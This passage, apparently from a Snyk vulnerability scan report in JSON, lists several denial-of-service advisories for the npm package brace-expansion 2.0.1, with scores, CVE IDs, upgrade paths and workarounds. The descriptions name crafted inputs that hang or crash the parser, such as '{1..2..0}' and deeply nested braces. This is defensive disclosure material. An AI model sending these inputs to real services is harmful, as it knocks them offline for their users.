"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
